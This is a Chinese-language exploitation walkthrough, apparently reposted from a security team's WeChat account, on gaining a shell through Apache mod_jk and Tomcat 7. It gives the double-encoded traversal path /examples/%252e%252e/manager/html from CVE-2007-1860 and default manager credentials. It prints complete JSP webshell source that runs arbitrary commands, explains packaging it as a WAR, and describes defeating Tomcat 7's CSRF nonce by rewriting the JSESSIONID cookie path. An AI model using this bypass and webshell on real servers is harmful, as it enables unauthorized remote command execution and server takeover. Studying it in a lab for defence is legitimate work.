绕过Tomcat 7 csrf保护getshell

此漏洞基于CVE-2007-1860,比较老,思路在于绕过Tomcat7 csrf保护

开局俩按钮

点进去

尝试让页面报错 我们在路径后面随便输入点什么

收到来自apache的错误,所以这里我们在与apache进行交互

但是我们如果转到Servlets examples页面

同样输入点东西让他报错

我们可以看到错误信息是不一样的,这个错误信息来自tomcat。

这里他将请求中继到Tomcat服务器,

如果我们访问存在漏洞的页面他将于tomcat交互

也就是 下面这两个页面 我们就与tomcat 产生了交互

• /examples/servlets/

• /examples/jsp/

这些漏洞来自于 mod_jk处理请求方式的问题

mod_jk 首先对URL进行解码并将其传递给Tomcat,Tomcat也会在解码时执行此操作,但是由于我们我们得到了双重编码,我们可以访问apache服务器不一定公开的资源。

尝试访问Tomcat的管理页面

他的默认管理路径为

• URL/manager/html

我们直接访问这个页面发现apache以未响应的返回响应到页面,因为实际上这个路径是Tomcat在公开或者说管理

我们在有tomcat交互的路径上访问他的管理路径,会得到404    /examples/manager/html

不仅仅是/manager/html。

我们要告诉apache我们要访问里面的内容并确保请求被转发到Tomcat处理,我们这里使用../访问/manager/html

如果我们直接以下面的路径进行访问

• /examples/../manager/html

我们会再次看到apache错误信息

我们看到即使我们去访问/examples/../manager/html

浏览器也自动将他规范为了/manager/html

我们手动尝试发包,我们再次看到了apache认为我们在尝试访问/manager/html

mod_jk 双重编码

我们对照ascii码表.为%2e

尝试访问 apache mod_jk会进行第一次解码,但这里仍然认为我们正在尝试访问/manager/html,所以我们还需要再次对他进行编码 也就是双重编码。

%25为% 双重编码为 %252e%252e

这样mod_jk会把请求编码一次并发送给Tomcat,Tomcat再次进行解码就规范为了

/../manager/html

我们访问发现出现了身份验证标头并告诉我们没有权限,我们复制到浏览器中访问

Tomcat弱口令

出现身份验证,尝试使用默认密码和简单的猜解

• tomcat/tomcat

• admin/tomcat

• admin/admin

最后我们以admin 空密码登录到管理页面中

war包上传

war 包是一种打包格式Java web工程，都是打成war包，进行发布，打成war包的好处是不会缺少目录，并且只管理好一个发布文件就好，并且tomcat服务器能够自动识别，将war包放在tomcat容器的webapps下，启动服务，即可运行该项目，该war包会自动解压出一个同名的文件夹。

我们可以写一个webshell进去让他部署

<FORM METHOD=GET ACTION='index.jsp'><INPUT name='cmd' type=text><INPUT type=submit value='Run'></FORM><%@ page import="java.io.*" %><%   String cmd = request.getParameter("cmd");   String output = "";   if(cmd != null) {      String s = null;      try {         Process p = Runtime.getRuntime().exec(cmd,null,null);         BufferedReader sI = new BufferedReader(newInputStreamReader(p.getInputStream()));         while((s = sI.readLine()) != null) { output += s+"</br>"; }      }  catch(IOException e) {   e.printStackTrace();   }   }%><pre><%=output %></pre>

保存为jsp格式然后压缩为zip 然后后缀改为 war

我们直接上传出现了错误 我们可以看路径Tomcat并不知道我们以/examples/%252e%252e/manager/html 这个路径上传,所以我们需要找到一种方法将该请求发送到/examples/%252e%252e/manager/html。

这里可以修改表单,并告诉前端表单发送到/examples/%252e%252e/manager/html

我们只需要右键打开检查,然后找到路径

告诉表单我们要上传到/examples/%252e%252e/manager/html

绕过tomcat 7 csrf保护

然后上传,但是这里我们遇到了一个问题

如果这里是tomcat7之前我们这样做或许可以

但是在Tomcat 7 中引入了一种新特性

传统的防止CSRF攻击的方法是使用一个随机数（nonce），定义的：在验证协议中，使用一个随机数以确保原来的通信不能被重用。

Tomcat7定义了一个servlet过滤器，它在每一次request请求处理后，在session中存储了一个随机数。这个随机数必须在随后的请求中作为请求参数。这个Servlet filter会在服务器端检查请求中的随机数是否和存储在user session中的随机数相同。如果相同，则这个请求只能从指定的站点而来。如果不相同，则这个请求是别的站点来的，因此会被拒绝。

如果没有JSESSIONID 被发送（或者一个无效的）

webshell 将不会被上传并返回一个 403 HTTP 响应。一般由浏览器自动完成。但是，Tomcat 会创建 JSESSIONID 并使用以下路径将其发送到浏览器：

Set-Cookie: JSESSIONID=E5CE6AF4F6DDDF89569743B9F5490129; Path=/manager/;

由于不是正确的路径（因为浏览器的路径是/examples/%252e%252e/manager/html.），所以浏览器在以后的请求中不会发送。

要管理上传 shell，需要将初始响应（加载管理器页面时）中的有效 JSESSIONID 添加到上传请求（使用代理）。或者，可以删除 HTTP 响应的 Set-Cookie 中的路径。

Tomcat 7 还具有反暴力破解机制。

这里怎么绕过呢,我们开启burp重新进入管理页面

/examples/%252e%252e/manager/html

我们可以看到他设置了一个Path

我们吧这个路径替换为,然后放包

/examples/%252e%252e/manager/html

然后登录进去

然后再次利用欺骗表单进行上传

成功绕过csrf 保护

我们单击我们部署的shell

因为他找不到路径,同样使用双编码过的路径替换

最后，希望各位哥哥们关注下我们

原文始发于微信公众号（HashRun安全团队）：绕过Tomcat 7 csrf保护getshell